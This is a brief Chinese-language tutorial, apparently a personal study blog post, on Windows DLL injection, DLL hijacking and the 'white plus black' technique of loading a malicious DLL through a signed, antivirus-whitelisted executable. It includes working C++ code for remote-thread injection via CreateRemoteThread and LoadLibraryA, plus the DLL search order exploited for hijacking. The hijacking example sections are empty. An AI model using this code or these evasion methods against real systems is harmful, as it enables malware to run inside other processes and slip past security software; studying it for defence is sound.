DLL注入&&DLL劫持&&白加黑
DLL?
.dll,动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。
白话:说白了就像是一个封装好的类库,里面提供许多的函数供调用。
DLL注入
就是在指定的进程中注入我们的恶意DLL。
常规手法:
编写恶意DLL => 创建远程线程 => 把线程函数设置为loadlibrary => 参数为恶意DLL。
案例
void Inject(int pID, char* Path) {HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);LPVOID pRetrunAddress = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, pRetrunAddress, Path, strlen(Path) + 1, NULL);HMODULE hModule = LoadLibraryA("KERNEL32.DLL");LPTHREAD_START_ROUTINE ipStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, ipStartAddress, pRetrunAddress, 0, NULL);WaitForSingleObject(hThread, 2000);CloseHandle(hThread);CloseHandle(hProcess);}int main() {// 注入的DLL路径,注意\使用\\表示const char* path = "E:\\CPPStudy\\DllStudy\\Debug\\DllStudy.dll";// 参数1:目标进程ID,参数2:注入的DLL路径Inject(17732, (char*)path);return 0;}


通常如果我们不做清理工作的话注入的DLL会直至程序关闭才失效。
当然我们也可以手动卸载,方法差不多,如果是强制卸载的话略微有点麻烦。
DLL劫持
DLL劫持主要产生在DLL加载。说白了就是通过类似火绒剑的工具查看程序运行过程中加载的DLL,然后我们构造恶意DLL进行替换。
DLL加载顺序
程序所在目录。加载 DLL 时所在的当前目录。系统目录即 SYSTEM32 目录。16位系统目录即 SYSTEM 目录。Windows目录。PATH环境变量中列出的目录
案例
原本程序

恶意DLL


白加黑
所谓的”白加黑”,笼统来说是”白exe”加”黑dll”,”白exe”是指带有数字签名的正常exe文件,那么”黑dll”当然是指包含恶意代码 的dll文件。病毒借助那些带数字签名且在杀毒软件白名单内的exe程序去加载自己带有恶意代码的dll,便能获得杀毒软件主动防御的自动信任,从而成功 加载到系统中。(PS:网上偷的)
白加黑暂时没有演示案例。。。。。
结语
如有错误之处,还请多多包涵,当然,欢迎指正。
评论
